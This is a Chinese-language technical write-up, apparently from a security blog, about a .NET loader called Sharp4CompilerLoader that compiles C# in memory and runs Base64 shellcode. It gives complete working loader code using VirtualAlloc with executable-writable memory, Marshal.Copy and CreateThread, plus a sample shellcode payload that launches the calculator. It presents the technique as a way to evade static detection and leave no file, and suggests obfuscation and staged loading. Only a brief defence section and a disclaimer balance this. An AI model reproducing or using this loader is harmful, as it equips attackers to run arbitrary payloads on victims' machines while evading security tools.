Sharp4CompilerLoader:通过动态编译混淆代码执行Shellcode
字数 1530 2025-08-22 12:23:12
.NET动态编译与Shellcode注入技术详解
1. 概述
Sharp4CompilerLoader是一种利用.NET动态编译技术实现Shellcode注入的加载器,它通过接收Base64编码的Shellcode字符串,将其注入到本地线程中执行恶意代码。本文将详细解析其核心技术原理和实现方法。
2. Windows API关键函数
2.1 VirtualAlloc函数
VirtualAlloc是Windows API中用于内存分配的核心函数,在.NET中可以通过P/Invoke调用:
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
private static extern UInt32 VirtualAlloc(
UInt32 lpStartAddr, // 内存起始地址
UInt32 size, // 分配内存大小(字节)
UInt32 flAllocationType, // 分配类型
UInt32 flProtect // 内存保护属性
);
参数详解:
lpStartAddr:内存起始地址,通常设为0由系统自动选择size:要分配的内存大小flAllocationType:分配类型标志MEM_COMMIT (0x1000):提交物理内存MEM_RESERVE (0x2000):保留虚拟地址空间
flProtect:内存保护属性PAGE_EXECUTE_READWRITE (0x40):可执行、可读、可写
DllImport特性说明:
SetLastError = true:允许获取通过GetLastError返回的错误代码ExactSpelling = true:要求精确匹配函数名,不自动处理ANSI/Unicode变体
2.2 CreateThread函数
CreateThread用于在目标进程中创建新线程:
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes, // 线程安全属性
UInt32 dwStackSize, // 初始堆栈大小
UInt32 lpStartAddress, // 线程起始地址(函数指针)
IntPtr param, // 传递给线程的参数
UInt32 dwCreationFlags, // 创建标志
ref UInt32 lpThreadId // 接收线程ID
);
参数详解:
lpThreadAttributes:线程安全属性,通常设为0dwStackSize:堆栈大小,0表示使用默认大小lpStartAddress:线程开始执行的函数指针param:传递给线程函数的参数dwCreationFlags:创建标志0:线程创建后立即执行CREATE_SUSPENDED (0x4):创建后挂起
lpThreadId:输出参数,接收线程ID
3. .NET动态编译技术
3.1 动态编译流程
private static Assembly BuildAssembly(string code)
{
Microsoft.CSharp.CSharpCodeProvider provider = new CSharpCodeProvider();
ICodeCompiler compiler = provider.CreateCompiler();
CompilerParameters compilerparams = new CompilerParameters();
compilerparams.GenerateExecutable = false; // 生成DLL而非EXE
compilerparams.GenerateInMemory = true; // 内存中编译,不留文件
CompilerResults results = compiler.CompileAssemblyFromSource(compilerparams, code);
return results.CompiledAssembly;
}
关键点:
CSharpCodeProvider:提供对C#编译器的访问GenerateInMemory = true:提高安全性,避免磁盘残留ICodeCompiler:虽然已过时,但仍可用于兼容性场景
3.2 动态调用方法
public static object function1(string code, string namespacename,
string classname, string functionname, bool isstatic, params object[] args)
{
object returnval = null;
Assembly asm = BuildAssembly(code);
object instance = null;
Type type = null;
if(isstatic) {
type = asm.GetType(namespacename + "." + classname);
} else {
instance = asm.CreateInstance(namespacename + "." + classname);
type = instance.GetType();
}
MethodInfo method = type.GetMethod(functionname);
returnval = method.Invoke(instance, args);
return returnval;
}
反射调用流程:
- 动态编译源代码获取Assembly对象
- 根据是否为静态方法决定是否创建实例
- 通过反射获取方法信息
- 使用MethodInfo.Invoke调用方法
4. Shellcode注入实现
4.1 动态编译的Shellcode执行代码
string code = @"
using System;
using System.Reflection;
using System.Runtime.InteropServices;
namespace Namespace {
class Program {
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport(""kernel32"")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size,
UInt32 flAllocationType, UInt32 flProtect);
[DllImport(""kernel32"")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress,
IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport(""kernel32"")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
public void run() {
byte[] shellcode = Convert.FromBase64String(""" + shellcodeBase64 + @""");
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
}";
function1(code, "Namespace", "Program", "run", false, null);
执行流程:
- 将Base64编码的Shellcode解码为字节数组
- 使用VirtualAlloc分配可执行内存
- 将Shellcode复制到分配的内存中
- 创建线程执行Shellcode
- 等待线程执行完成
4.2 Shellcode示例
示例Base64编码的Shellcode(启动计算器):
/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1qAY2FsgAAAFBoMYtvh//Vu/C1olZoppW9nf/VPAZ8CoD74HUFu0cTcm9qAFP/1WNhbGMuZXhlAA==
5. 技术总结
-
动态编译优势:
- 避免静态检测:代码在运行时生成
- 灵活性高:可根据环境动态调整
- 无文件落地:GenerateInMemory选项
-
注入流程:
- 内存分配 → Shellcode写入 → 线程创建 → 执行
-
防御思路:
- 监控动态编译行为
- 检测VirtualAlloc+PAGE_EXECUTE_READWRITE组合
- 限制非信任代码的反射调用能力
-
扩展应用:
- 可结合混淆技术增强隐蔽性
- 可分段加载Shellcode规避检测
- 可适配多种注入技术(如APC注入、线程劫持等)
本技术展示了.NET平台强大的动态能力,同时也提醒了运行时安全监控的重要性。在实际应用中,应严格遵守法律法规,仅用于授权测试和研究目的。